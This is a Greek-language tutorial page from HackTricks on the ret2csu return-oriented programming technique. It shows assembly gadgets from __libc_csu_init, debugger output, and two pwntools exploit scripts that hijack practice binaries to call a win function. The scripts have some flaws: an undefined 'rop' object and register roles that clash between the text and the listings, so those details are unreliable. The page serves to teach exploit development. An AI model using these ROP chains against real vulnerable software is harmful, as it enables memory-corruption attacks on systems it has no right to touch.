Ret2csu

Μάθετε & εξασκηθείτε στο AWS Hacking: Εκπαίδευση HackTricks AWS Red Team Expert (ARTE) Μάθετε & εξασκηθείτε στο GCP Hacking: Εκπαίδευση HackTricks GCP Red Team Expert (GRTE)

Υποστηρίξτε το HackTricks

https://www.scs.stanford.edu/brop/bittau-brop.pdfΒασικές Πληροφορίες

Το ret2csu είναι μια τεχνική χάκερ που χρησιμοποιείται όταν προσπαθείτε να πάρετε τον έλεγχο ενός προγράμματος αλλά δεν μπορείτε να βρείτε τα gadgets που συνήθως χρησιμοποιείτε για να χειριστείτε τη συμπεριφορά του προγράμματος.

Όταν ένα πρόγραμμα χρησιμοποιεί κάποιες βιβλιοθήκες (όπως η libc), έχει μερικές ενσωματωμένες λειτουργίες για τη διαχείριση του πώς διάφορα κομμάτια του προγράμματος επικοινωνούν μεταξύ τους. Ανάμεσα σε αυτές τις λειτουργίες υπάρχουν μερικά κρυμμένα κειμήλια που μπορούν να λειτουργήσουν ως τα λείποντα gadgets μας, ειδικά ένα που ονομάζεται __libc_csu_init.

Τα Μαγικά Gadgets στο __libc_csu_init

Στο __libc_csu_init, υπάρχουν δύο ακολουθίες εντολών (gadgets) που ξεχωρίζουν:

  1. Η πρώτη ακολουθία μας επιτρέπει να ρυθμίσουμε τιμές σε διάφορους καταχωρητές (rbx, rbp, r12, r13, r14, r15). Αυτοί είναι σαν υποδοχές όπου μπορούμε να αποθηκεύσουμε αριθμούς ή διευθύνσεις που θέλουμε να χρησιμοποιήσουμε αργότερα.

pop rbx;
pop rbp;
pop r12;
pop r13;
pop r14;
pop r15;
ret;

Αυτό το εργαλείο μας επιτρέπει να ελέγχουμε αυτά τα registries παίρνοντας τιμές από τη στοίβα και τις τοποθετεί σε αυτά.

  1. Η δεύτερη ακολουθία χρησιμοποιεί τις τιμές που έχουμε ορίσει για να κάνει μερικά πράγματα:

  • Μεταφορά συγκεκριμένων τιμών σε άλλα registries, κάνοντάς τα έτοιμα για να τα χρησιμοποιήσουμε ως παραμέτρους σε συναρτήσεις.

  • Εκτέλεση κλήσης σε μια τοποθεσία που καθορίζεται από την πρόσθεση των τιμών στο r15 και rbx, και στη συνέχεια πολλαπλασιασμό του rbx με 8.

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
  1. Ίσως δεν ξέρεις καμία διεύθυνση για να γράψεις εκεί και χρειάζεσαι μια εντολή ret. Σημείωσε ότι το δεύτερο εργαλείο θα τελειώσει επίσης με ένα ret, αλλά θα πρέπει να πληροίς κάποιες συνθήκες προκειμένου να το φτάσεις:

mov rdx, r15;
mov rsi, r14;
mov edi, r13d;
call qword [r12 + rbx*8];
add rbx, 0x1;
cmp rbp, rbx
jnz <func>
...
ret

Οι συνθήκες θα είναι:

  • Το [r12 + rbx*8] πρέπει να δείχνει σε μια διεύθυνση που αποθηκεύει μια κλήσιμη συνάρτηση (αν δεν υπάρχει ιδέα και δεν υπάρχει Position Independent Executable, μπορείτε απλά να χρησιμοποιήσετε τη συνάρτηση _init):

  • Αν η συνάρτηση _init βρίσκεται στη διεύθυνση 0x400560, χρησιμοποιήστε το GEF για να αναζητήσετε ένα δείκτη στη μνήμη προς αυτήν και να κάνετε το [r12 + rbx*8] να είναι η διεύθυνση με το δείκτη προς το _init:

# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤  search-pattern 0x400560
[+] Searching '\x60\x05\x40' in memory
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x400000-0x401000), permission=r-x
0x400e38 - 0x400e44     "\x60\x05\x40[...]"
[+] In '/Hackery/pod/modules/ret2_csu_dl/ropemporium_ret2csu/ret2csu'(0x600000-0x601000), permission=r--
0x600e38 - 0x600e44     "\x60\x05\x40[...]"
  • Τα rbp και rbx πρέπει να έχουν την ίδια τιμή για να αποφευχθεί το άλμα

  • Υπάρχουν ορισμένα παραλειπόμενα pops που πρέπει να λάβετε υπόψη

RDI και RSI

Ένας άλλος τρόπος να ελέγξετε τα rdi και rsi από το gadget ret2csu είναι προσπελαώντας συγκεκριμένα offsets:

Ελέγξτε αυτή τη σελίδα για περισσότερες πληροφορίες:

BROP - Blind Return Oriented Programming

Παράδειγμα

Χρησιμοποιώντας την κλήση

Φανταστείτε ότι θέλετε να κάνετε ένα syscall ή να καλέσετε μια συνάρτηση όπως η write() αλλά χρειάζεστε συγκεκριμένες τιμές στα registries rdx και rsi ως παραμέτρους. Συνήθως, θα αναζητούσατε gadgets που ορίζουν αυτά τα registries απευθείας, αλλά δεν μπορείτε να βρείτε κανένα.

Εδώ είναι που μπαίνει σε παιχνίδι το ret2csu:

  1. Ρύθμιση των Registries: Χρησιμοποιήστε το πρώτο μαγικό gadget για να εξάγετε τιμές από τη στοίβα και να τις μεταφέρετε στα rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) και r15.

  2. Χρήση του Δεύτερου Gadget: Με αυτά τα registries ορισμένα, χρησιμοποιείτε το δεύτερο gadget. Αυτό σας επιτρέπει να μετακινήσετε τις επιλεγμένες τιμές σας στα rdx και rsi (από r14 και r13 αντίστοιχα), ετοιμάζοντας τις παραμέτρους για μια κλήση συνάρτησης. Επιπλέον, ελέγχοντας το r15 και το rbx, μπορείτε να κάνετε το πρόγραμμα να καλέσει μια συνάρτηση που βρίσκεται στη διεύθυνση που υπολογίζετε και την τοποθετείτε στο [r15 + rbx*8].

Έχετε ένα παράδειγμα χρησιμοποιώντας αυτή την τεχνική και εξηγώντας την εδώ, και αυτή είναι η τελική εκμετάλλευση που χρησιμοποιήθηκε:

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208  # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028

rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0)                      # r12
rop.raw(0)                      # r13
rop.raw(0xdeadbeefcafed00d)     # r14 - popped into RDX!
rop.raw(RW_LOC)                 # r15 - holds location of called function!
rop.raw(REG_CALL)               # all the movs, plus the call

p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
print(p.recvline())                        # should receive "Awesome work!"

Σημειώστε ότι το προηγούμενο exploit δεν προορίζεται να κάνει RCE, αλλά απλά να καλέσει μια συνάρτηση που ονομάζεται win (παίρνοντας τη διεύθυνση του win από την είσοδο καλώντας τη gets στη ROP αλυσίδα και αποθηκεύοντάς τη στο r15) με ένα τρίτο όρισμα με την τιμή 0xdeadbeefcafed00d.

Παράκαμψη της κλήσης και φτάνοντας στο ret

Το παρακάτω exploit εξήχθη από αυτή τη σελίδα όπου χρησιμοποιείται το ret2csu αλλά αντί να χρησιμοποιεί την κλήση, παρακάμπτει τις συγκρίσεις και φτάνει στο ret μετά την κλήση:

# Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
# This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/

from pwn import *

# Establish the target process
target = process('./ret2csu')
#gdb.attach(target, gdbscript = 'b *    0x4007b0')

# Our two __libc_csu_init rop gadgets
csuGadget0 = p64(0x40089a)
csuGadget1 = p64(0x400880)

# Address of ret2win and _init pointer
ret2win = p64(0x4007b1)
initPtr = p64(0x600e38)

# Padding from start of input to saved return address
payload = "0"*0x28

# Our first gadget, and the values to be popped from the stack

# Also a value of 0xf means it is a filler value
payload += csuGadget0
payload += p64(0x0) # RBX
payload += p64(0x1) # RBP
payload += initPtr # R12, will be called in `CALL qword ptr [R12 + RBX*0x8]`
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xdeadcafebabebeef) # R15 > soon to be RDX

# Our second gadget, and the corresponding stack values
payload += csuGadget1
payload += p64(0xf) # qword value for the ADD RSP, 0x8 adjustment
payload += p64(0xf) # RBX
payload += p64(0xf) # RBP
payload += p64(0xf) # R12
payload += p64(0xf) # R13
payload += p64(0xf) # R14
payload += p64(0xf) # R15

# Finally the address of ret2win
payload += ret2win

# Send the payload
target.sendline(payload)
target.interactive()

Γιατί Να Μην Χρησιμοποιήσετε Απευθείας την libc;

Συνήθως αυτές οι περιπτώσεις είναι επίσης ευάλωτες στο ret2plt + ret2lib, αλλά μερικές φορές χρειάζεται να ελέγξετε περισσότερες παραμέτρους από ό,τι είναι εύκολα ελέγξιμες με τα gadgets που βρίσκετε απευθείας στην libc. Για παράδειγμα, η συνάρτηση write() απαιτεί τρεις παραμέτρους, και η εύρεση gadgets για να ορίσετε αυτές απευθείας ενδέχεται να μην είναι δυνατή.

Last updated